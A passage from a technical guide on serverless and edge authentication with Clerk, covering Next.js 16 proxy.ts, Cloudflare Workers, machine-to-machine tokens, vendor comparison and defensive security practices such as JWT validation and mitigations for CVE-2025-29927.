`ClerkProvider` reads the publishable key from `CLERK_PUBLISHABLE_KEY` (or `NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY` for client components) and the secret key from `CLERK_SECRET_KEY` on the server.

### Edge middleware with Clerk and Next.js 16

The entry point is `clerkMiddleware()` inside `proxy.ts` ([Clerk `clerkMiddleware()` reference](https://clerk.com/docs/reference/nextjs/clerk-middleware)).

```ts
// proxy.ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/api/(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Reading the authenticated user in a Server Component — prefer `auth()` alone when session claims are enough:

```tsx
// app/dashboard/page.tsx
import { auth } from '@clerk/nextjs/server'

export default async function DashboardPage() {
  const { userId, sessionClaims } = await auth()
  if (!userId) return null

  const firstName = (sessionClaims?.firstName as string) ?? 'there'
  return <h1>Hello, {firstName}.</h1>
}
```

`auth()` reads the signed session claims from the request — no network round-trip. `currentUser()` fetches the full user record from Clerk's Backend API and counts toward the Backend API rate limit (1,000 requests per 10 seconds in production, 100 per 10 seconds in development) ([Clerk `currentUser()` reference](https://clerk.com/docs/references/nextjs/current-user), [Clerk Backend API rate limits](https://clerk.com/docs/guides/how-clerk-works/system-limits)). In a serverless/edge setting where a function may run millions of times per day, reserve `currentUser()` for cases that actually need fields not in the session token — `firstName`, `emailAddresses`, `publicMetadata`, organization lists — and prefer `useUser()` on the client for display-only greetings.

```tsx
// app/account/page.tsx — currentUser() is warranted here
import { auth, currentUser } from '@clerk/nextjs/server'

export default async function AccountPage() {
  const { userId } = await auth()
  if (!userId) return null

  const user = await currentUser()
  return (
    <section>
      <h1>{user?.firstName}</h1>
      <p>{user?.emailAddresses[0]?.emailAddress}</p>
    </section>
  )
}
```

`auth()` returns the session claims synchronously-awaited from the request; `currentUser()` loads the full user profile ([Clerk `auth()` reference](https://clerk.com/docs/references/nextjs/auth)). Custom session claims can also be added via JWT templates so `auth()` alone carries commonly-read fields without triggering a Backend API call.

> \[!WARNING]
> `proxy.ts` must not be the sole auth gate. CVE-2025-29927 allowed self-hosted Next.js deployments to skip `middleware.ts` entirely via a forwarded header ([NVD CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927)). Always re-verify in Server Components, Route Handlers, or Server Actions — never treat middleware as the only check.

> \[!NOTE]
> In Next.js 16, `proxy.ts` runs exclusively on the Node.js runtime. The `runtime` Route Segment Config option is not supported in `proxy.ts` and setting it throws a build-time error. This is the "architectural edge" pattern (Node.js runtime sitting in front of origin). For true V8-isolate edge auth, see §8.5 (Cloudflare Workers).

### Clerk in Next.js 16 Route Handlers and Server Components

Route Handlers run on the Node.js runtime by default in Next.js 16. `auth()` works the same way it does in Server Components.

```ts
// app/api/profile/route.ts
import { auth, currentUser } from '@clerk/nextjs/server'

export async function GET() {
  const { userId } = await auth()
  if (!userId) {
    return Response.json({ error: 'unauthorized' }, { status: 401 })
  }

  const user = await currentUser()
  return Response.json({
    id: user?.id,
    email: user?.emailAddresses[0]?.emailAddress,
    firstName: user?.firstName,
  })
}
```

For handlers where you want Clerk to throw and return a 404 for unauthenticated requests, use `auth.protect()`:

```ts
// app/api/admin/route.ts
import { auth } from '@clerk/nextjs/server'

export async function GET() {
  const { userId, orgRole } = await auth.protect({ role: 'org:admin' })
  return Response.json({ userId, orgRole })
}
```

Do not set `export const runtime = 'edge'` in new route handlers. Vercel recommends migrating new work to Node.js; the Edge Runtime is still documented but flagged for migration ([Vercel Edge Functions deprecated](https://vercel.com/docs/functions/runtimes/edge/edge-functions)).

### Clerk on Cloudflare Workers (primary true-edge example)

`@clerk/backend` is the canonical SDK for Cloudflare Workers — there is no separate `@clerk/cloudflare-workers` package ([Clerk backend-only SDK development guide](https://clerk.com/docs/guides/development/sdk-development/backend-only)). The old `@clerk/edge` package is deprecated.

Two common shapes:

#### Hono + `@hono/clerk-auth`

```ts
// src/index.ts
import { Hono } from 'hono'
import { clerkMiddleware, getAuth } from '@hono/clerk-auth'

type Bindings = {
  CLERK_PUBLISHABLE_KEY: string
  CLERK_SECRET_KEY: string
  CLERK_JWT_KEY: string
}

const app = new Hono<{ Bindings: Bindings }>()

app.use('*', clerkMiddleware())

app.get('/me', (c) => {
  const auth = getAuth(c)
  if (!auth?.userId) {
    return c.json({ error: 'unauthorized' }, 401)
  }
  return c.json({ userId: auth.userId, orgId: auth.orgId })
})

export default app
```

The middleware picks up `CLERK_SECRET_KEY` and `CLERK_JWT_KEY` from the Worker's environment bindings ([`@hono/clerk-auth` source](https://github.com/honojs/middleware/tree/main/packages/clerk-auth), [Hono by Example — Clerk](https://honobyexample.com/posts/clerk-backend)).

#### Raw Workers + `@clerk/backend`

```ts
// src/index.ts
import { createClerkClient } from '@clerk/backend'

type Env = {
  CLERK_SECRET_KEY: string
  CLERK_PUBLISHABLE_KEY: string
  CLERK_JWT_KEY: string
}

export default {
  async fetch(request: Request, env: Env): Promise<Response> {
    const clerkClient = createClerkClient({
      secretKey: env.CLERK_SECRET_KEY,
      publishableKey: env.CLERK_PUBLISHABLE_KEY,
      jwtKey: env.CLERK_JWT_KEY,
    })

    const requestState = await clerkClient.authenticateRequest(request)

    if (!requestState.isAuthenticated) {
      return new Response('Unauthorized', { status: 401 })
    }

    const { userId } = requestState.toAuth()
    return Response.json({ userId, tokenType: requestState.tokenType })
  },
}
```

`authenticateRequest()` accepts a standard Web API `Request` object and returns a `RequestState` that exposes `isAuthenticated`, `status`, and `tokenType` ([Clerk `authenticateRequest()` reference](https://clerk.com/docs/references/backend/authenticate-request), [community tRPC + Clerk on Workers](https://dev.to/yinks/implementing-authorization-with-clerk-in-a-trpc-app-running-on-a-cloudflare-worker-4li5)).

Environment bindings are set via `wrangler secret put` or the Cloudflare dashboard ([Cloudflare Workers Secrets](https://developers.cloudflare.com/workers/configuration/secrets/)):

```bash
wrangler secret put CLERK_SECRET_KEY
wrangler secret put CLERK_JWT_KEY
```

`wrangler.toml` references the binding names in your `[vars]` / `[env.production.vars]` sections (secrets are injected separately, not written to `wrangler.toml`).

> \[!TIP]
> Set `CLERK_JWT_KEY` to Clerk's PEM public key (Dashboard → API Keys → PEM Public Key) for zero-network-roundtrip session verification in Cloudflare Workers ([Clerk `verifyToken()` reference](https://clerk.com/docs/reference/backend/verify-token)).

### Machine-to-machine and backend-to-backend with Clerk

Clerk's machine-auth model distinguishes three approaches ([Clerk machine-auth overview](https://clerk.com/docs/guides/development/machine-auth/overview)):

- **OAuth access tokens** — on-behalf-of-user, issued by Clerk acting as an OAuth 2.0 / OIDC authorization server.
- **M2M tokens** — service-to-service. The recommended default for internal calls.
- **API keys** — long-lived, user- or org-delegated credentials.

Clerk does not currently support the OAuth 2.0 client credentials grant — it is on the roadmap. Use Clerk's M2M tokens for service-to-service identity today.

**Token formats for M2M** ([Clerk M2M token formats](https://clerk.com/docs/guides/development/machine-auth/token-formats), [Clerk changelog — M2M JWT tokens](https://clerk.com/changelog/2026-02-24-m2m-jwt-tokens)):

- **JWT M2M tokens** (released February 24, 2026) — free to verify, networkless, cannot be revoked. Recommended default.
- **Opaque M2M tokens** — $0.00001 per verification, instantly revocable. Use for revocation-sensitive workloads.

Max 150 scopes per M2M token ([Clerk M2M tokens guide](https://clerk.com/docs/guides/development/machine-auth/m2m-tokens)).

Issuing a token from one service:

```ts
// services/payments/issue-m2m.ts
import { createClerkClient } from '@clerk/backend'

const clerkClient = createClerkClient({
  secretKey: process.env.CLERK_MACHINE_SECRET_KEY!,
})

export async function mintWorkerToken() {
  const token = await clerkClient.m2m.createToken({
    claims: { audience: 'https://api.example.com' },
    scopes: ['read:payments', 'write:invoices'],
    secondsUntilExpiration: 300, // 5 minutes
  })
  return token
}
```

Verifying on the receiving service:

```ts
// services/api/verify-m2m.ts
import { createClerkClient } from '@clerk/backend'

const clerkClient = createClerkClient({
  secretKey: process.env.CLERK_MACHINE_SECRET_KEY!,
})

export async function verifyM2M(bearerToken: string) {
  const result = await clerkClient.m2m.verify({ token: bearerToken })
  if (result.tokenType !== 'm2m_token') {
    throw new Error('Unexpected token type')
  }
  return { machineId: result.machineId, scopes: result.scopes }
}
```

`CLERK_MACHINE_SECRET_KEY` (prefixed `ak_`) is the dedicated key for machine auth operations. Keep it separate from your application's `CLERK_SECRET_KEY` so you can rotate independently.

### Multi-token acceptance pattern

A single API endpoint often needs to serve multiple client types: a web user via session cookie, a mobile user via Bearer token, a third party via an OAuth access token, an internal service via M2M, and a human via an API key. Clerk's `acceptsToken` option collapses that into one call ([Clerk verifying API keys in Next.js](https://clerk.com/docs/guides/development/verifying-api-keys), [Clerk `authenticateRequest()` reference](https://clerk.com/docs/reference/backend/authenticate-request)).

```ts
// app/api/items/route.ts
import { auth } from '@clerk/nextjs/server'

export async function GET() {
  const result = await auth({
    acceptsToken: ['session_token', 'api_key', 'm2m_token', 'oauth_token'],
  })

  if (!result.isAuthenticated) {
    return Response.json({ error: 'unauthorized' }, { status: 401 })
  }

  switch (result.tokenType) {
    case 'session_token':
      return Response.json({ shape: 'user', userId: result.userId })
    case 'api_key':
      return Response.json({
        shape: 'api_key',
        subject: result.subject,
        scopes: result.scopes,
      })
    case 'm2m_token':
      return Response.json({
        shape: 'machine',
        machineId: result.machineId,
        scopes: result.scopes,
      })
    case 'oauth_token':
      return Response.json({
        shape: 'oauth',
        userId: result.userId,
        clientId: result.clientId,
      })
  }
}
```

`result.tokenType` tells downstream code which path to take without re-parsing the token.

### Session handling across distributed functions

Distributed serverless functions cannot rely on a shared in-memory session store. Clerk's hybrid model (described in §3.4) does the work for you:

- `__client` cookie — long-lived identity on Clerk's Frontend API (FAPI) domain.
- `__session` cookie — a 60-second JWT scoped to the app domain, containing the current session token.
- Proactive refresh at 50 seconds via Clerk's frontend SDK — the token is refreshed in the background before it expires, so a long-running page never trips an expired-token state ([Clerk Core 3 changelog](https://clerk.com/changelog/2026-03-03-core-3), [Clerk session tokens reference](https://clerk.com/docs/guides/sessions/session-tokens)).

Every Clerk session JWT carries 13 default claims: `azp`, `exp`, `iat`, `iss`, `sid`, `sub`, `jti`, `nbf`, `fva`, `v`, `pla`, `fea`, `sts`, plus organization-scoped claims (`id`, `slg`, `rol`, `per`, `fpm`) when an active org is present.

For mobile and long-running clients, `@clerk/expo` handles refresh automatically via its token cache. You do not write refresh logic yourself.

> \[!NOTE]
> Clerk's `__session` cookie is intentionally **not `HttpOnly`**. The frontend SDK needs to read it to drive proactive refresh. Exposure is mitigated by the 60-second TTL — XSS exposure is under a minute before the token is rotated ([Clerk session tokens reference](https://clerk.com/docs/guides/sessions/session-tokens)).

### Monorepo setup with Clerk

One key pair covers every runtime in the repo. `@clerk/nextjs`, `@clerk/backend`, and `@clerk/expo` all read the same `CLERK_PUBLISHABLE_KEY`, `CLERK_SECRET_KEY`, and `CLERK_JWT_KEY` — no "edge config" vs. "node config" split. The only runtime-specific choice is *which* SDK each app installs; the environment surface stays identical across web, mobile, and V8-isolate services.

#### Shared auth package (config + types, not SDK wrapper)

```ts
// packages/auth-config/src/env.ts
import { z } from 'zod'

const schema = z.object({
  CLERK_PUBLISHABLE_KEY: z.string().startsWith('pk_'),
  CLERK_SECRET_KEY: z.string().startsWith('sk_'),
  CLERK_JWT_KEY: z.string().startsWith('-----BEGIN PUBLIC KEY-----'),
  CLERK_MACHINE_SECRET_KEY: z.string().startsWith('ak_').optional(),
})

export const authEnv = schema.parse(process.env)
export type AuthEnv = z.infer<typeof schema>
```

`turbo.json` declares auth env vars as global so cache keys include them:

```json
{
  "globalEnv": [
    "CLERK_PUBLISHABLE_KEY",
    "CLERK_SECRET_KEY",
    "CLERK_JWT_KEY",
    "CLERK_MACHINE_SECRET_KEY"
  ],
  "tasks": {
    "build": { "dependsOn": ["^build"], "outputs": [".next/**", "dist/**"] },
    "dev": { "cache": false, "persistent": true }
  }
}
```

Each app reads `authEnv` and passes those values into the runtime-appropriate SDK. No shared SDK wrapper.

#### Per-app handlers

- **Web app** (`apps/web`): `proxy.ts` with `clerkMiddleware()` (§8.3) + `ClerkProvider` at `app/layout.tsx` (§8.2).
- **API service** (`apps/api`, Cloudflare Workers): `@clerk/backend` + `@hono/clerk-auth` (§8.5).
- **Mobile** (`apps/mobile`, Expo): `@clerk/expo` with `<ClerkProvider>` + `tokenCache` (see §7.3).
- **Background workers** (`apps/workers`): `CLERK_MACHINE_SECRET_KEY` + `clerkClient.m2m.createToken()` for internal calls (§8.6).

Each sub-app depends on `@your-org/auth-config` for env validation and shared types only.

### End-to-end example: monorepo with edge web app, cross-origin API, and background worker

A monorepo with the web app at `app.example.com` and the API on Cloudflare Workers at `api.example.com` is a cross-origin setup. Per Clerk's request flow, same-origin requests use the `__session` cookie; cross-origin requests use `Authorization: Bearer` with the session JWT retrieved via `getToken()` ([Clerk making requests](https://clerk.com/docs/guides/development/making-requests), [Clerk cookies guide](https://clerk.com/docs/guides/how-clerk-works/cookies)).

Architecture (one transport per hop):

```
┌───────────────────┐                                ┌─────────────────────┐
│ Web (Next.js 16)  │  Authorization: Bearer <JWT>   │ API (CF Worker)     │
│ proxy.ts          │ ─────────────────────────────→ │ @clerk/backend      │
│ clerkMiddleware() │   (cross-origin: api.domain)   │ authenticateRequest │
└───────────────────┘                                └─────────┬───────────┘
                                                               │
┌───────────────────┐  Authorization: Bearer <JWT>             │
│ Mobile (Expo)     │ ───────────────────────────────────────→ │
│ @clerk/expo       │   (always cross-origin)                  │
└───────────────────┘                                          │
                                                               │
┌───────────────────┐  Authorization: Bearer <M2M JWT>         │
│ Background Worker │ ───────────────────────────────────────→ │
│ CLERK_MACHINE_    │   (service-to-service)                   │
│ SECRET_KEY        │                                          │
└───────────────────┘                                          ▼
                                                        tokenType switch:
                                                        session_token | m2m_token
```

- **User-identity hop (web → API, cross-origin)**. The Next.js frontend calls `getToken()` on the Clerk client to read the current `__session` JWT, then sends it as `Authorization: Bearer <jwt>` to `api.example.com`. The Worker verifies networkless via `jwtKey`. No `__session` cookie crosses the origin boundary.
- **User-identity hop (mobile → API)**. `@clerk/expo` stores the session token via its token cache and attaches it as `Authorization: Bearer` on every request. Identical verification path on the Worker.
- **M2M hop (background worker → API)**. The background worker uses `CLERK_MACHINE_SECRET_KEY` with `clerkClient.m2m.createToken()` to mint a short-lived JWT M2M token, then sends it as `Authorization: Bearer <m2m_jwt>`. The API Worker accepts both via `auth({ acceptsToken: ['session_token', 'm2m_token'] })` and branches on `tokenType`.

**Same-origin alternative.** If the API is deployed behind the same origin as the Next.js app (both at `example.com` with the API at `/api/*`), the `__session` cookie flows automatically and `authenticateRequest()` reads it directly — no explicit Bearer header needed. The cross-origin version above is the monorepo-with-separate-origins case; pick the transport that matches your deployment.

## Comparison of Serverless and Edge Authentication Solutions

### Feature comparison table

| Capability                           | Roll-your-own (`jose`) |       AWS Cognito      |        Auth0        | Supabase Auth |         Firebase Auth         |  Clerk  |
| ------------------------------------ | :--------------------: | :--------------------: | :-----------------: | :-----------: | :---------------------------: | :-----: |
| Node.js serverless compatible        |                        |                        |                     |               |                               |         |
| V8 isolate / edge runtime compatible |                        |  via `aws-jwt-verify`  | via `/edge` subpath |               | via `next-firebase-auth-edge` |         |
| Networkless JWT verification         |                        |                        |                     |               |                               |         |
| Built-in UI components               |                        |        Hosted UI       |                     |   Starter UI  |           FirebaseUI          |         |
| Organizations / RBAC                 |                        |       User groups      |                     |     Custom    |         Custom claims         |         |
| MFA                                  |                        |                        |                     |               |                               |         |
| M2M / service identity               |           DIY          | App client credentials |                     |               |                               |         |
| Documented monorepo story            |                        |                        |      Community      |   Community   |                               |         |
| Managed JWKS + key rotation          |                        |                        |                     |               |                               |         |
| Billing model                        |       Self-hosted      |         Per-MAU        |       Per-MAU       |    Per-MAU    |         Per-MAU (+SMS)        | Per-MRU |

> \[!NOTE]
> MRU (Monthly Retained User) and MAU (Monthly Active User) are **not interchangeable**. MAU counts any user who signed in during the month; MRU counts users who return 24+ hours after sign-up (Clerk's definition) ([Clerk pricing page](https://clerk.com/pricing)). A given Clerk MRU count is typically lower than the MAU count for the same userbase, so `MAU × per-MAU-price` and `MRU × per-MRU-price` cannot be compared directly.

### Developer experience

Sourceable items only:

- **TypeScript support** — Clerk, AWS Cognito (`aws-jwt-verify`), Auth0, Supabase, Firebase (via `firebase-admin` / community edge libs), and `jose` all publish first-class TypeScript types.
- **Edge-specific documentation for Next.js** — Clerk publishes `proxy.ts` examples in Core 3 docs; Auth0 documents an `/edge` subpath; AWS Cognito documents `aws-jwt-verify`.
- **Edge-specific documentation for Cloudflare Workers** — Clerk + Hono via `@hono/clerk-auth`; Auth0 and Firebase via community.

Claims this article does not make: specific "minutes to first auth request" or "days for roll-your-own." Those are not primary-source numbers.

### Edge runtime support

- **Runs natively on V8 isolate runtimes without adapters**: `jose`, `@clerk/backend`, Supabase `getClaims()` in Deno Edge Functions.
- **Requires a Node.js runtime or edge subpath**: Auth0 (`/edge`), `firebase-admin` (not edge-compatible), `jsonwebtoken` (not edge-compatible).

### Pricing considerations

Pricing is normalized here by **billing model**, not raw dollar figures, because (a) per-MAU and per-MRU prices cannot be compared as raw numbers, and (b) vendor pricing changes frequently enough that specific tier numbers go stale quickly. Before making cost decisions, confirm every dollar figure below against the cited vendor's live pricing page.

- **Per-MAU vendors**: Auth0 (note the November 2023 restructure: B2C Essentials per-MAU overage rose from $0.023 to $0.07 and entry tier rose from $23/mo for 1,000 MAU to $35/mo for 500 MAU — a load-bearing historical fact for any Auth0 cost comparison) ([Auth0 pricing change announcement](https://auth0.com/blog/upcoming-pricing-changes-for-the-customer-identity-cloud/), [Auth0 pricing](https://auth0.com/pricing)), AWS Cognito ([Cognito pricing](https://aws.amazon.com/cognito/pricing/)), Supabase Auth ([Supabase pricing](https://supabase.com/pricing)), Firebase Authentication ([Firebase pricing](https://firebase.google.com/pricing)).
- **Per-MRU vendor**: Clerk ([Clerk pricing page](https://clerk.com/pricing)).
- **Per-verification (M2M / API keys)**: Clerk M2M JWT verification is free (networkless); Clerk opaque M2M and API Key verifications are billed per request ([Clerk M2M JWT changelog](https://clerk.com/changelog/2026-02-24-m2m-jwt-tokens), [Clerk API Keys GA](https://clerk.com/changelog/2026-04-17-api-keys-ga)).
- **Self-hosted / roll-your-own**: no per-user fee, but shifts cost to infrastructure, UI build, CVE tracking, key rotation, and audit work.

**Entry-tier numbers as of April 2026** (confirm each against the cited vendor pricing page before making cost decisions):

- **Auth0**: Free tier up to 25,000 MAU; B2C Essentials starts at $35/mo for 500 MAU and scales by tiered MAU bands ([Auth0 pricing](https://auth0.com/pricing)).
- **AWS Cognito Essentials** (default for user pools created after Nov 22, 2024): first 10,000 MAU free, then $0.015 per MAU ([Cognito pricing](https://aws.amazon.com/cognito/pricing/)). The legacy "Cognito Lite" tier applies only to pools created before that date.
- **Supabase**: Free plan up to 50,000 MAU; Pro at $25/mo includes 100,000 MAU and charges $0.00325 per MAU above the included quota ([Supabase pricing](https://supabase.com/pricing)).
- **Firebase Spark** (free): 50,000 MAU for standard sign-in (limited to 50 SAML/OIDC MAU, no phone auth); Blaze is pay-as-you-go above that and phone auth is billed per SMS separately ([Firebase pricing](https://firebase.google.com/pricing)).
- **Clerk Hobby** (free): up to 50,000 MRU per application; Pro at $25/mo (or $20/mo billed annually) includes 50,000 MRU and charges $0.02 per MRU above that up to 100,000 MRU ([Clerk pricing](https://clerk.com/pricing)).

### When each option makes sense

"If X, then Y" criteria-first summary. Each option listed is from the seven providers in the brief.

- **If you need managed UI + organizations/RBAC + edge-native SDK + M2M + monorepo story in one vendor** → Clerk is designed for this combined set.
- **If your backend is already Supabase or Firebase** → their native auth avoids a second identity system.
- **If you need mature enterprise SSO, Actions/Rules policies, and can absorb per-MAU pricing at scale** → Auth0.
- **If your infrastructure is AWS-native and Cognito's token shape fits your app** → Cognito.
- **If your scope is narrow (API-only, no user UI) and you can own CVE tracking, key rotation, JWKS caching, and refresh-token logic** → `jose` + your own IdP.

These are decision-criteria mappings, not a ranked list.

## Security Best Practices for Serverless and Edge Auth

### JWT validation checklist

- [ ] Algorithm allow-list. Never accept `alg: none` ([aquilax.ai algorithm confusion](https://aquilax.ai/blog/jwt-algorithm-confusion-auth-bypass), [OWASP JWT cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html)).
- [ ] Validate `iss`, `aud`, `exp`, `nbf`, `azp` consistently ([Clerk manual JWT verification](https://clerk.com/docs/guides/sessions/manual-jwt-verification)).
- [ ] Rotate JWKS correctly; cap refresh at a 5–10 minute minimum.
- [ ] Prefer asymmetric algorithms (RS256, ES256, EdDSA) for multi-service setups.
- [ ] Allow a small clock skew: 5–30 seconds ([Curity JWT best practices](https://curity.io/resources/learn/jwt-best-practices/)).

> \[!CAUTION]
> Historical JWT CVEs to test against: CVE-2015-9235 (`jsonwebtoken` algorithm confusion — RS256→HS256 swap), CVE-2022-21449 (ECDSA psychic signatures in Java), CVE-2022-23529 (`jsonwebtoken` key-type confusion) ([OWASP JWT testing guide](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/10-Testing_JSON_Web_Tokens), [aquilax.ai JWT confusion](https://aquilax.ai/blog/jwt-algorithm-confusion-auth-bypass)).

### Token expiry and refresh strategies

- Short access tokens: Clerk session JWTs are 60 seconds; industry norms sit at 15–60 minutes for general access tokens.
- Rotating refresh tokens: each refresh mints a new refresh token; reuse detection invalidates the entire token family ([Auth0 refresh token rotation](https://auth0.com/docs/secure/tokens/refresh-tokens/refresh-token-rotation)).
- In August 2025, threat cluster UNC6395 stole OAuth access and refresh tokens from the Salesloft Drift integration and used them to exfiltrate data from hundreds of Salesforce instances, including Cloudflare, Google, Palo Alto Networks, and Proofpoint — a practical reminder that long-lived OAuth credentials are high-value ([Google Cloud Threat Intelligence on UNC6395](https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift)).
- Store refresh tokens in `HttpOnly`, `Secure`, `SameSite=Lax` cookies where possible.

### Cookie and CSRF considerations

**Vendor-agnostic cookie guidance (first).**

- `SameSite`, `Secure`, `HttpOnly`, `Domain`, `Path` — set each intentionally for any session or auth cookie.
- Widening a cookie's `Domain` attribute (e.g., `Domain=.example.com`) shares it across all subdomains. That works for simple single-vendor setups but expands the XSS attack surface to every subdomain and assumes every subdomain is equally trusted. For most monorepos with a mix of marketing, app, and API subdomains, prefer a tight per-origin cookie and propagate identity to other origins via `Authorization: Bearer <token>`.
- CSRF: enforce a same-site cookie policy (`SameSite=Lax` default, `Strict` where possible), check `Origin`/`Referer` on state-changing requests, and validate the `azp` (authorized party) claim on any JWT that crosses origins.

**Clerk-specific architecture (separate, do not blur with the generic guidance above).**

- Clerk deliberately does **not** widen cookies across subdomains. Cross-subdomain cookie sharing is not Clerk's recommended pattern and the `__session` cookie is scoped to the app domain.
- `__client` is an [HttpOnly cookie](/glossary/httponly-cookies) on Clerk's Frontend API (FAPI) domain (e.g., `clerk.yourdomain.com`). It holds the long-lived client identity and is never readable from the app.
- `__session` is an app-domain-scoped JWT cookie (not `HttpOnly` by design — see §8.8 — with a 60-second TTL). Do not set `Domain=.example.com` on this cookie to share it across subdomains.
- For cross-subdomain or cross-origin requests (e.g., `app.example.com` → `api.example.com`), call `getToken()` from the frontend SDK and send the session JWT as `Authorization: Bearer <token>`. The receiving service verifies with `authenticateRequest()` or `verifyToken()` — no cookie crosses the origin boundary.
- For genuinely separate domains (not subdomains), Clerk provides a **satellite domains** feature that uses a handshake flow between a primary and satellite domain. This is the supported Clerk path for multi-domain auth; it is not a "widen the cookie" shortcut ([Clerk satellite domains](https://clerk.com/docs/guides/dashboard/dns-domains/satellite-domains)).

> \[!NOTE]
> Clerk's `__session` cookie is intentionally not `HttpOnly` (see §8.8) — the 60-second TTL and proactive refresh are what keep XSS exposure tight, not the cookie flag.

> \[!WARNING]
> Do not set `Domain=.example.com` on Clerk cookies to share them across subdomains. Clerk does not support this pattern; use `Authorization: Bearer` headers (same-TLD subdomains) or satellite domains (separate TLDs) instead.

### Secrets management at the edge

- Platform secret stores: Cloudflare Workers Secrets ([docs](https://developers.cloudflare.com/workers/configuration/secrets/)), Vercel Sensitive Env Vars ([docs](https://vercel.com/docs/environment-variables/sensitive-environment-variables)), AWS Secrets Manager + Parameter Store ([Secrets Manager + Lambda](https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets_lambda.html)), Netlify env vars.
- `wrangler secret put` for Cloudflare Workers. Secrets are encrypted at rest and injected as env bindings.
- Avoid baked-in secrets in bundles. Inspect `pnpm build` output for accidental string literals.
- Rotate `CLERK_SECRET_KEY`, `CLERK_MACHINE_SECRET_KEY`, and `CLERK_ENCRYPTION_KEY` on a schedule. Out-of-band auditing of who rotated, when, and via which mechanism is part of a mature posture.

### Logging, auditing, and incident response

- Log auth events with: timestamp, `jti` (token ID), `userId` or `machineId`, request ID, IP (or hashed IP), outcome (success/failure). Never log the full token.
- Tie auth events to request IDs and traces via OpenTelemetry ([OWASP logging cheat sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html)).
- Runbooks for key rotation and auth incidents — documented, tested, and owned before they are needed.
- OWASP Top 10 2025 relevant items: A01 Broken Access Control, A07 Authentication Failures, A03 Supply Chain Failures (newly elevated) ([OWASP Top 10 2025](https://owasp.org/Top10/2025/), [OWASP Top 10 2025 A07](https://owasp.org/Top10/2025/A07_2025-Authentication_Failures/)).

### Rate limiting auth attempts at the edge

Sign-in, token exchange, and M2M token endpoints are the highest-value credential-stuffing targets in any serverless system. The per-isolate nature of V8 runtimes defeats naive in-memory counters, so edge rate limiting needs a coordination primitive.

- **Cloudflare Workers**: the platform's Rate Limiting binding for sliding-window enforcement, or a Durable Object per user/IP for strongly consistent global counters (KV is eventually consistent and not safe for rate limiting) ([CF Rate Limit binding](https://developers.cloudflare.com/workers/runtime-apis/bindings/rate-limit/), [CF Hono Rate Limit middleware](https://github.com/elithrar/workers-hono-rate-limit), [Global Rate Limiter with Durable Objects](https://shivekkhurana.com/blog/global-rate-limiter-durable-objects/), [Rules of Durable Objects](https://developers.cloudflare.com/changelog/post/2025-12-15-rules-of-durable-objects/)).
- **Vercel**: Vercel Firewall / WAF supports token-bucket and sliding-window rules for login and token endpoints ([Vercel WAF rate limiting](https://vercel.com/docs/vercel-firewall/vercel-waf/rate-limiting)).
- **AWS**: API Gateway throttling + AWS Shield; Cognito has built-in brute-force protection on sign-in endpoints.
- **Pattern**: rate limit unauthenticated endpoints on IP + hashed email; rate limit authenticated M2M endpoints on the machine ID; pair with short-lived tokens so even a successful brute force hits a moving target.

### Self-hosted Next.js CVE-2025-29927 deep dive

> \[!WARNING]
> CVE-2025-29927 (CVSS 9.1 Critical): the `x-middleware-subrequest` header allowed skipping `middleware.ts` auth checks on self-hosted Next.js. Fixed in 12.3.5, 13.5.9, 14.2.25, 15.2.3. Vercel- and Netlify-hosted apps were **not** affected because those platforms stripped the header before requests reached middleware. Mitigation for self-hosted: strip the `x-middleware-subrequest` header at your reverse proxy. Always verify auth in Server Components / Route Handlers, not only in `proxy.ts` ([NVD CVE-2025-29927](https://nvd.nist.gov/vuln/detail/CVE-2025-29927), [Datadog Security Labs](https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/), [Next.js `proxy.ts` reference](https://nextjs.org/docs/app/api-reference/file-conventions/proxy)).

The deeper lesson is not about this specific CVE — it is about never relying on a single middleware-layer check as the full auth boundary. Defense in depth means middleware (fast reject) + re-verification in the handler that actually does work (correctness guarantee).

## Implementation Checklist

### Before you start

- [ ] Identify each runtime target in the repo (Node.js serverless, V8 isolate edge, mobile, background).
- [ ] Decide on a single identity provider.
- [ ] Agree on token shape (claims, audience, issuer) and document it in a shared types package.
- [ ] Define scopes for M2M calls.
- [ ] Identify where authorization decisions run (closer to data than authentication).

### During implementation

- [ ] Centralize auth config in a shared package (env vars + types, not SDK wrapper).
- [ ] Add auth at the outermost boundary (proxy / middleware / gateway), but re-verify in server code.
- [ ] Use networkless verification (`jwtKey`) where available.
- [ ] Write integration tests against real tokens from a dev environment, not mocked JWTs.
- [ ] Prefer asymmetric JWT algorithms (RS256, ES256, EdDSA).
- [ ] Validate `iss`, `aud`, `exp`, `nbf`, `azp` claims consistently.

### Production readiness

- [ ] JWKS caching verified under load (cold/warm/rotation).
- [ ] Secrets configured per environment; never baked into bundles.
- [ ] Observability: auth latency (p50/p95/p99), failure rate, token refresh rate.
- [ ] Runbooks for key rotation and auth incident response.
- [ ] Rate limiting at the edge for unauthenticated endpoints.
- [ ] Content-Security-Policy + cookie flags hardened.
- [ ] Known-CVE header stripping at the reverse proxy (e.g., `x-middleware-subrequest`).
- [ ] Document authn vs. authz boundaries explicitly so on-call engineers do not have to guess.

## Frequently Asked Questions

## Further Reading

- Clerk docs: [How Clerk works](https://clerk.com/docs/guides/how-clerk-works/overview), [Backend SDK overview](https://clerk.com/docs/reference/backend/overview), [Machine auth overview](https://clerk.com/docs/guides/development/machine-auth/overview), [Session tokens reference](https://clerk.com/docs/guides/sessions/session-tokens), [Manual JWT verification](https://clerk.com/docs/guides/sessions/manual-jwt-verification).
